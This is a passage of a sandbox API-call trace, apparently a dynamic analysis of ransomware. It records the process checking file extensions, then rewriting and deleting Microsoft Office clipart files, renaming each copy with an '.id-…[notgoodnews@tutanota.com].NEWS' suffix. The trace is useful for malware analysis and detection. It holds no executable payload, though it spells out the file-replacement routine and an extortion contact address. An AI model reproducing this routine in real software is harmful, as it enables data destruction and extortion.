(lpString=".pdf") returned 4 [0172.553] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0172.553] lstrlenW (lpString=".xls") returned 4 [0172.553] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0172.553] lstrlenW (lpString=".xlsx") returned 5 [0172.553] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0172.553] lstrlenW (lpString=".ppt") returned 4 [0172.553] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0172.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.553] lstrlenW (lpString=".zip") returned 4 [0172.553] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0172.553] lstrlenW (lpString=".rar") returned 4 [0172.553] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0172.553] lstrlenW (lpString=".bz2") returned 4 [0172.553] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0172.553] lstrlenW (lpString=".7z") returned 3 [0172.553] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0172.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.553] lstrlenW (lpString=".dbf") returned 4 [0172.553] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0172.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.554] lstrlenW (lpString=".1cd") returned 4 [0172.554] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0172.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.554] lstrlenW (lpString=".jpg") returned 4 [0172.554] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0172.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.554] lstrlenW (lpString=".doc") returned 4 [0172.554] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0172.554] lstrlenW (lpString=".docx") returned 5 [0172.554] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0172.554] lstrlenW (lpString=".pdf") returned 4 [0172.554] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0172.554] lstrlenW (lpString=".xls") returned 4 [0172.554] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0172.554] lstrlenW (lpString=".xlsx") returned 5 [0172.554] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0172.554] lstrlenW (lpString=".ppt") returned 4 [0172.554] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0172.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.554] lstrlenW (lpString=".zip") returned 4 [0172.554] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0172.554] lstrlenW (lpString=".rar") returned 4 [0172.555] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0172.555] lstrlenW (lpString=".bz2") returned 4 [0172.555] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0172.555] lstrlenW (lpString=".7z") returned 3 [0172.555] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.555] lstrlenW (lpString=".dbf") returned 4 [0172.555] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.555] lstrlenW (lpString=".1cd") returned 4 [0172.555] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.555] lstrlenW (lpString=".jpg") returned 4 [0172.555] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0172.555] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0172.555] lstrlenW (lpString="J0101860.BMP") returned 12 [0172.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.558] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=32184) returned 1 [0172.558] CloseHandle (hObject=0x544) returned 1 [0172.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0172.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.559] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.559] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0172.561] GetLastError () returned 0x0 [0172.561] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0173.005] WriteFile (in: hFile=0x554, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0173.007] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.007] WriteFile (in: hFile=0x554, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.008] SetEndOfFile (hFile=0x554) returned 1 [0173.008] CloseHandle (hObject=0x554) returned 1 [0173.008] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.008] SetEndOfFile (hFile=0x544) returned 1 [0173.317] CloseHandle (hObject=0x544) returned 1 [0173.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0173.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.800] lstrlenW (lpString=".doc") returned 4 [0173.800] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.800] lstrlenW (lpString=".docx") returned 5 [0173.800] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0173.800] lstrlenW (lpString=".pdf") returned 4 [0173.800] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.800] lstrlenW (lpString=".xls") returned 4 [0173.800] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.800] lstrlenW (lpString=".xlsx") returned 5 [0173.800] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0173.800] lstrlenW (lpString=".ppt") returned 4 [0173.800] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.800] lstrlenW (lpString=".zip") returned 4 [0173.800] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.800] lstrlenW (lpString=".rar") returned 4 [0173.800] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.800] lstrlenW (lpString=".bz2") returned 4 [0173.800] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0173.800] lstrlenW (lpString=".7z") returned 3 [0173.800] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.800] lstrlenW (lpString=".dbf") returned 4 [0173.800] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.800] lstrlenW (lpString=".1cd") returned 4 [0173.800] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.800] lstrlenW (lpString=".jpg") returned 4 [0173.801] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.801] lstrlenW (lpString=".doc") returned 4 [0173.801] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.801] lstrlenW (lpString=".docx") returned 5 [0173.801] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0173.801] lstrlenW (lpString=".pdf") returned 4 [0173.801] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.801] lstrlenW (lpString=".xls") returned 4 [0173.801] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.801] lstrlenW (lpString=".xlsx") returned 5 [0173.801] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0173.801] lstrlenW (lpString=".ppt") returned 4 [0173.801] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.801] lstrlenW (lpString=".zip") returned 4 [0173.801] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.801] lstrlenW (lpString=".rar") returned 4 [0173.801] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.801] lstrlenW (lpString=".bz2") returned 4 [0173.801] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0173.801] lstrlenW (lpString=".7z") returned 3 [0173.801] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.801] lstrlenW (lpString=".dbf") returned 4 [0173.802] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.802] lstrlenW (lpString=".1cd") returned 4 [0173.802] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0173.802] lstrlenW (lpString=".jpg") returned 4 [0173.802] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.802] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0173.802] lstrlenW (lpString="J0101980.WMF") returned 12 [0173.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0173.803] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=16104) returned 1 [0173.803] CloseHandle (hObject=0x51c) returned 1 [0173.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0173.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0173.804] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.804] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0173.805] GetLastError () returned 0x0 [0173.805] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0173.808] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0173.810] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.810] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.810] SetEndOfFile (hFile=0x474) returned 1 [0173.810] CloseHandle (hObject=0x474) returned 1 [0173.810] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.810] SetEndOfFile (hFile=0x51c) returned 1 [0173.814] CloseHandle (hObject=0x51c) returned 1 [0173.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0173.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.816] lstrlenW (lpString=".doc") returned 4 [0173.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.816] lstrlenW (lpString=".docx") returned 5 [0173.816] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.816] lstrlenW (lpString=".pdf") returned 4 [0173.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.816] lstrlenW (lpString=".xls") returned 4 [0173.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.816] lstrlenW (lpString=".xlsx") returned 5 [0173.816] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.816] lstrlenW (lpString=".ppt") returned 4 [0173.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.816] lstrlenW (lpString=".zip") returned 4 [0173.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.816] lstrlenW (lpString=".rar") returned 4 [0173.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.816] lstrlenW (lpString=".bz2") returned 4 [0173.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.816] lstrlenW (lpString=".7z") returned 3 [0173.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.816] lstrlenW (lpString=".dbf") returned 4 [0173.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.817] lstrlenW (lpString=".1cd") returned 4 [0173.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.817] lstrlenW (lpString=".jpg") returned 4 [0173.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.817] lstrlenW (lpString=".doc") returned 4 [0173.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.817] lstrlenW (lpString=".docx") returned 5 [0173.817] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.817] lstrlenW (lpString=".pdf") returned 4 [0173.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.817] lstrlenW (lpString=".xls") returned 4 [0173.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.817] lstrlenW (lpString=".xlsx") returned 5 [0173.817] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.817] lstrlenW (lpString=".ppt") returned 4 [0173.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.817] lstrlenW (lpString=".zip") returned 4 [0173.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.817] lstrlenW (lpString=".rar") returned 4 [0173.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.817] lstrlenW (lpString=".bz2") returned 4 [0173.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.817] lstrlenW (lpString=".7z") returned 3 [0173.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.818] lstrlenW (lpString=".dbf") returned 4 [0173.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.818] lstrlenW (lpString=".1cd") returned 4 [0173.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0173.818] lstrlenW (lpString=".jpg") returned 4 [0173.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.818] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0173.818] lstrlenW (lpString="J0102002.WMF") returned 12 [0173.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0173.820] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=15988) returned 1 [0173.820] CloseHandle (hObject=0x51c) returned 1 [0173.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0173.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0173.820] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.820] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0173.821] GetLastError () returned 0x0 [0173.821] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x3e74, lpOverlapped=0x0) returned 1 [0173.833] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0173.835] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.835] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.835] SetEndOfFile (hFile=0x474) returned 1 [0173.835] CloseHandle (hObject=0x474) returned 1 [0173.835] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.835] SetEndOfFile (hFile=0x51c) returned 1 [0173.838] CloseHandle (hObject=0x51c) returned 1 [0173.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0173.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0173.840] lstrlenW (lpString=".doc") returned 4 [0173.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.840] lstrlenW (lpString=".docx") returned 5 [0173.840] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.840] lstrlenW (lpString=".pdf") returned 4 [0173.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.840] lstrlenW (lpString=".xls") returned 4 [0173.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.840] lstrlenW (lpString=".xlsx") returned 5 [0173.840] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.840] lstrlenW (lpString=".ppt") returned 4 [0173.840] lstrcmpiW 